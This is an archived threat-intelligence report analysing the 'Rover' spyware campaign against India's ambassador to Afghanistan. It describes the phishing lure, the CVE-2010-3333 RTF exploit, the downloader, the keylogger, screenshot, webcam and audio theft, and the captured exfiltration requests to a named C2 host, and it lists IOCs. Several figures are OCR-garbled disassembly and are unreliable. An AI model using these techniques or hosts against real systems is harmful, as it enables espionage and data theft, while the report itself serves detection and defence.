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New Malware 'Rover’ Targets Indian Ambassador to Afghanistan

By Vicky Ray, Kaoru Hayashi
Published: 2016-02-29 - Archived: 2026-04-05 15:53:35 UTC
On December 24, 2015, Unit 42 identified a targeted attack, delivered via email, on a high profile Indian diplomat, an

Ambassador to Afghanistan. The body and content of the email suggest that it was crafted and spoofed to look like it was

sent by the current Defence Minister of India, Mr. Manohar Parrikar, commending the Ambassador on his contributions and

success.

India has been a key nation in building and funding Afghanistan’s infrastructure and economic development, which includes
setting up iron ore mines, steel plants, power plants and transportation systems, helping reconstruct the Salma Dam and

constructing a new Parliament Complex for the Afghan Government.

Given India’s significant contributions to the development of Afghanistan, it is likely that there may be groups or nations

who would be interested in tracking and spying on key individuals who officially represent India in Afghanistan.

Overview of Rover infection

Figure 1 gives an overview of the exploitation, infection and C2 communications of the 'Rover' Trojan campaign targeting a

victim running Windows XP.
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Figure 1: Overview of the infection flow and C2 communications
Rover Trojan Infection Steps:
1. RTF file exploits CVE-2010-3333 and downloads an executable from newsumbrella[.]net.
2. The executable file downloaded from newsumbrella[.]net is executed on the victim machine.

3. The executable 'file.exe' is a downloader which is used to call out to a server with the IP '46.166.165.254" and

download the main Rover malware along with plugins used by the Rover malware.

4. Rover malware and plugins are downloaded and installed on the victim machine.
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5. Data exfiltrated from the victim machine.
Targeting and Infection

Figure 2 shows an email which was sent to the Ambassador of India, appearing to commend the contributions the
Ambassador has made in the development and success of projects on national interest, and attaching a letter of appreciation

with a file name, “Appreciation_letter.doc”.

The attachment is an RTF file which exploits a specific vulnerability in Microsoft Word, CVE-2010-3333.

" _ S
Ce

Subject Fil: Manohar Pariksr Letter of spprecabion for your remeskable schsevements
_ | Mescage 2'_,] Appreciatesn leitern doc B LB

Please see.

Embassy of Indla
Kabul

Phone

Fromc Ministry OF Deferge [mailto:mp@meod.gov.in]

Sent: 24 Decomber 2005 01:02

To:

Subject: Manchar Parrikar: Letter of approciation for your remarkable achisvements

ﬂ Rightscisch hars b dowwrdoad
pichurss. To haip protect your
preacy, Calnok prasenad
i irae. dowrdosd ofthi
phciure From the Irdenret,

It is my sincere pleasure to express my appreciation for the truly commendable contribution
you have made to the successful accomplishment of our detachment mission. Your individual
dedication, knowledge and exemplary efforts assisted immeasurably in the development and
overall final success of a revolutionary project of the highest national interest, Additionally, you
have shared in the praise frequently received from the highest levels of government. | have
attached a letter of appreciation for your extra-erdinary work in the field of Defence,

Warm Regards -

Ministry of Defense

FWD: Manchar Pamrikar

Tai Hind

Figure 2: Spear phishing email sent to the Ambassador of Afghanistan

If the recipient of the e-mail opened the attachment in a vulnerable version of Word, the exploit code would download and

execute a file from the domain newsumbrella[.]net as shown in Figure 3 below.

Figure 3: Hexdump showing the domain and the executable downloaded

Malware Analysis
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During the time of analysis the executable file systemupdateAPI exe was no longer being hosted on the newsumbrealla[.]net
domain. However, we have noticed the same domain hosting another executable in the past within the same parent directory

and having a similar naming for the folders as shown below
newsumbrellal.]net/ne3s/lat3st/w0rld/systemupdateAPI[. Jexe
newsumbrellal[.]net/ne3s/file[.]exe — hosted earlier

We believe that the executables hosted under the parent directory ‘ne3s’ are variants of the same downloader Trojan, which

was used to download the Rover Trojan. The file, file.exe, contains the following debug information that indicates the file

was originally named systemupdateAPI.exe.

BeLEhT ; Bebug inFormation { IWAGE_DEBSC_TYPE_CODEU
BRLNAET TR ase SAT2R s “REpL* i REF: . rilats:easasea1eT
DEhGLT 7 = ; C¥ signature
IBhidaT e dd BECARBERL : Datatl : GUID
BBk IT dw 199F R ; Data?
[ E TN ST dw WFalh s Datad
db 89h, &, 9Th, BOCh, BAEN, 1%h, 16h, NCh; Datas
iad 5 i Age
aBLENT D b “covbecuments and SettingsybdmindstratoryMy Documestsivisual Stedic [ PabFiletane
il b db "o ZE08VProjects\syslenupdaledl [\Relesse\systempdatenl ] pdd” @
DBLENTHD b n

Figure 4: Debug information of downloader program

By analyzing file.exe, we can see that it is a downloader, which creates ‘c:\system’ directory and depending on the OS

version used, downloads the main Rover payload along with multiple DLL modules from 46.166.165.254.
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call 48 :ErRCansnleWindow
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‘call oz Fhowtindow
call da:Getlersion 1
jpush  oifser atiystem | CTivispstes”
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fne
11
1
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loe_h@iFis
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push ¥ ; HaxCount

e N
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Llea wrx, [espradilnruar WEEA]
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Py [esp+y¥Ekh+var_LBA%], cha

e byte ptr [esp-uPHShe-war S8Eh], Bl
call wmb_ 8Bk

st WFFFFEFFR

Patis [esp+atEih+var_a]. &
pusn e

les eax, [esp+afikhiusr BERA]

sk (1]

lea wew, [wspraddinrvar_Wi2C]

[ [#sp+AtEBn+uar nR1%], esi

PO [esp+aFEBh+uar BE18]. cha

o Byte ptr [espehPRRReuar AETH], B1
call swb_&

il

& MaxCount
push offsel abpenal3? _oll_@ | “\\Opemal 32 4117
lea ean, [espradEsheiar REZL]
P bypte ptr [esp-siBihevar &], ¥
call swb_AEITCE

g [eepeadFihovar_Wiia], T
Rabis #ax, [#Ep+adTihiuar WR2E]
ini short lec WBZDG
L0
¥
= ]
1ea van, |m-hwun-ur_ui~a|j
loc_WEZ063: i slze_t
puzh Ll
push an 5 char =
Bea wcy, [esprabBihroar 2018))
push L 3 char =
call stracpy
add =sp, BCh
push e i slze b
(T B, [EEpe PR var 2818]
paish L E o woid =
1ea eaw, [espewFBah+var 18]
push wan 5 woid =
=i [espeuPAihewar _1C17], B
call _meee py
s esp, OCH
call sub_kbgicE
mou edl, eax
] edi, =hy
jx whort log WEdied
eoE, [EspeutfCnsva
offset avm R
BON : char =
Fopen
oFfaet aHTURNA_T88_1_&  "NULpcs el Ve, 18, 25 HE A Epen AL 3E a1 L
i
el

Figure 5: Code snippet showing the OS version check and the subsequent download from 46.166.165.254

If the infected system is running an OS version prior to Windows Vista, it would download the following files from
46.166.165.254:

¢ WindowsSecurityService2.exe ('Rover' main module)
¢ Openal32.dll

e Cxcore210.dll (OpenCV)

¢ Highgui210.dll (OpenCV)

o libsndfile-1.dll

If the OS version is Windows Vista or later, it would download the following files from 46.166.165.254 :

¢ WindowsSecurityService3.exe ('Rover' main module)
¢ OpenAL32.dll

¢ opencv_world300.dll

e msvepl00.dll

¢ msvcpl10.dll

e msvepl20.dll

e msverl00.dll
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e msvcrl10.dll
e msvcrl120.dll

After retrieving these files, the downloader Trojan executes the main module. Even though the main modules use different

library versions, the functionality of the backdoors are identical.

By analyzing the files downloaded to the victim machine, we can see that the executable WindowsSecurityService2.exe

imports the four DLL files that were downloaded to the same directory. The four DDLs are cxcore210.dll, highgui210.dll,
OpenAL32.dll and libsndfile-1.dll as shown in Figure 6
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Figure 6: Executable and DLLs downloaded to the victim machine
Attributes of the Rover variant
A

File: WindowsSecurityService2.exe

TR TR RTR TR TN NIRRT NI R TN TN IR IN I IR I R TR TR TR IR TN IR I IR I NIRRT NIRRT IR IR IRTRTRTNININT)
HHH R T R R A

Meta-data

Size : 337920 bytes

Type : PE32 executable (console) Intel 80386, for MS Windows
Architecture : 32 Bits binary

MD5 : 76429f8515768f9f5def697e71071f51

SHA1 : d04ce934561934{758d77dfa944bd6743dd82cff

SHAZ256: 7757517ae6b4d513a57826f9ab65bd070d99d25ac526cfae3e9955¢c3c7cd457assdeep
6144:JabBRNUKgZ9SN0jzoFBB9hcrpXwg9xXYOGI93X02rQLfbTpLuO7bIWjRO5gjPNq:JarSKu6yzoF8rpAqXYv3XOgQLfnpL
imphash : b5aa366f452feb9f4dff3c72157calf9

Date : 0x5637227B [Mon Nov 2 08:44:43 2015 UTC]

Language :ENGLISH

CRC: (Claimed) : 0x59736, (Actual): 0x59736

Entry Point : 0x43e3c8 .text 0/5

Imports
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[1] ADVAPI32.dll

[2] WS2_32.dll

[3] WLDAP32.dll

[4] cxcore210.dll (OpenCV module)
[5] highgui210.dll (OpenCV module)
[6] OpenAL32.dll

[7] libsndfile-1.d11

[8] GDI32.dll

[9] KERNEL32.dll

[10] USER32.d11

[11] MSVCP90.dll

[12] RPCRT4.dll

[13] MSVCR90.dll

The author of 'Rover' used the following open source projects to implement the main functionalities of this custom malware.

OpenCV - Taking photos from the web cam
OpenAL — Recording Audio
Libsndfile — C library used for reading and writing audio files

LibCurl — For all network communications

OpenCV and OpenAL

Both versions of Rover use OpenCV and OpenAL for some of the main functions.

OpenCV is a library of functions written primarily for building real time computer vision applications, image processing and
also machine learning. It has seen wide acceptance in security systems, medical image analysis, unmanned vehicles, visual

surveillance, object tracking, Artificial Intelligence and many other applications.

OpenAL is a cross-platform audio API for rendering multichannel three-dimensional positional audio (i.e., It is a means to
generate audio in a three-dimensional space.) Earlier versions of OpenAL were opensource but later versions (since v1.1)

have been proprietary.
Once executed, Rover creates following registry entry to execute itself when the computer reboots.

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"System Application" =

c:\system\WindowsSecurityService[2 or 3].exe
The malware then creates six threads, each with a different job:

e Heartbeat

¢ Screenshot

¢ Stealing Files from HDD
¢ Keylogger

o Search files on USB

¢ Backdoor
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loc_hB3123:

iy [esp+11ah+uar DC], eax

lea ecx, [esp+114h+thread_Heartbeat]

noy byte ptr [esp+11%h+var 4], 9

call create_thread

lea ecx, [esp+1ish+thread Screenshot]

call create_thread

lea ecx, [esp+iiuhsthread_StealFilesfromHDD]

call create_thread

lea ecx, [esp+1ikh+thread Weylogger]

call create_thread

lea ecx, [esp+11ah+thread_SearchFilesOnUsB]

call create_thread

1ea ecx, [esp+11ah+thread_Backdoor]

call create_thread

now edx, ds:?cout@std@@IUTibasic ostreamBDUTSchar traitsBDEstdREE1EM
push offset anllThreadsStar ; "\nAll threads startedyn™
push edx

call debug_log

Figure 7: Threads created by the malware
1. Heartbeat:

This sends heartbeat signal on HTTP to the C2 server at 46.166.165.254 every five seconds and checks whether the C2

server is running.
2. ScreenShot:

This saves screenshots as c:\system\screenshot.bmp and sends it to the C2 server at 46.166.165.254 every 60 minutes.

POST / HTTP/1.

HOSt: 46, 188, Hi‘l 54

ACCEpT: /%

Content-Length: T189050

Expect: 100-continue

content -Type: multipart/form-datva; {60607 72 529t 090

HTTP,/1.1 100 Continue

R f606e7725a9cf 090
; name="file"; filename="screenshot . bep”

.hd.."bl..d .4F!.8g .9p .40
“m..0q5. 0o, 0o%. 1rk., -ml !pi 953, >t
I L W T Tt g e
FosT, qﬂ-subru-ran ST

i}i;éi;éi;
;}rr;}*;;
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Figure 8: Screenshots sent to C2 server at 46.166.165.254
3. Finding specific file types on Removable Drive:

This thread searches for for files with the following extensions on removable drives and copies them to ‘c:\system’ every 5

seconds.

o pdf

* doc
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o docx
° ppt
* pptx
o xls

e xlsx
4. Keylogger:
This logs key strokes at ‘c:\system\log.txt’ and sends captured data to the C2 every 10 seconds
5. Stealing specific file types from Hard Drive:

This thread searches for for files with the following extensions on fixed drives and sends them to C2 every 60 minutes.

e pdf
e doc
¢ docx
* ppt
* PpIx
e xls

o xlsx

POST / HTTP,/1.1

Host: 46.166.165.254

Accept: =%

content-Length: 5116

Expect: 100-continue

content-Type: multipart/form-data; boundarys--------------—=ev=-e---7f ed9ldc ol ad06ed

HTTP/L.1 100 Continue

Tfedsldcolaitted
content-Disposition: form-data; name="file”; f1lename="wimnword. doc™
Content-Type: application/octet-stream

Entire conversation (5048 bytes)

| Eod || savess | pom |o asen

—

Figure 9: Document file being sent to C2
6. Backdoor:

This thread obtains backdoor commands from C2 every 10 seconds and executes them. Backdoor commands are listed

below:

Command  Description
CAMERA Take photos using system webcam and store them as c:\system\camera.jpg before sending to the C2.

AUDIO Record audio from default audio input as c:\system\audio.ogg and sending it to the C2.
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SCREEN Take a screenshot and save it as c:\system\screenshot.bmp then send it to the C2.

KILL Remove persistence registry entry and terminate itself.

Though 'Rover' is unsophisticated and lacks many modern features common to advanced malware, detection rate of the
'Rover' is extremely low. At the time of this writing, two out of three samples on VirusTotal were not detected by any

Antivirus product

M virustotal
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Figure 10: No detection by any AV product on Virustotal
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Figure 11: Low detection rate

Summary

OpenCV has been extensively used by organizations, government bodies, and research groups for real time capture, image
manipulation, object detection and many other uses in new forms of Human-Computer interaction, security systems, driver-

less cars among many others. OpenCV was also used by the Mars Rovers to send captured data back to Earth.

It is interesting to see the very code used in such significant projects also being used to track and spy on individuals being
targeted and which can remain undetected by traditional security systems. Though 'Rover' is an unsophisticated malware
lacking modern malware features, it seems to be successful in bypassing traditional security systems and fulfilling the
objectives of the threat actor behind the campaign in exfiltrating information from the targeted victim. It is important to

understand the techniques and tools being used by such threat actors to better defend and protect organizations from such

threats.

Palo Alto Networks AutoFocus users can identify this threat using the Rover tag.
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I0GCs:

C2:
46.166.165.254

Downloader hosting links:
newsumbrella[. Jnet/ne3s/lat3st/wOrld/systemupdateAPI[. Jexe
newsumbrella[.Jnet/ne3s/file[.]exe

newsumbrella[.]net/bla3k/extra7/systemupdateAPI|.]exe

Filename File Type SHA 256

6c9862a65741b56b849928300
Appreciation_letter.doc RTF aff310d60b815ee5f5f9f133469
e3b035e7e936

5f656¢cf07ald5e7c439aad4023
Questionnaire.doc RTF 5dc78e47bac719c62e03728cc
40267383880bd

6096f941af95638944f2fcdf4a5

Terrorism.doc;India &amp RTF 046aa028b803b010b1a2d000
028b1a4967bc
L. 7bf3a425bed41ad9cc713e4821
Appreciation_
RTF 6e061c788f36e2727de5d0b6b
letter.doc
6ac4f435fe1c06
06b12649dba7f61cb581f97797
RTF bdfba3a7f057a36b448d4c91a3
a7d89fff8d54
61a2935fcb0a385f9e67855ef6f
WindowsSecurity
PE 95bda5f09fdb7c1435f215ce18
Service3.exe
b7b61993daa

abe5571cda838e97a6beblab5

file.exe PE acdfbaaf80027f60417aadb0d3
4292f19c0f3b3
. . 7757517ae6b4d513a57826f9ab
WindowsSecurity
PE 65bd070d99d25ac526cfae3e99
Service2.exe
55c3c7cd457a
. . 3dc709a3bcaa82220d6a76ead7
WindowsSecurity
PE 374bd864c37817¢7041c7e9fde
Service3.exe
e8ba42847f34
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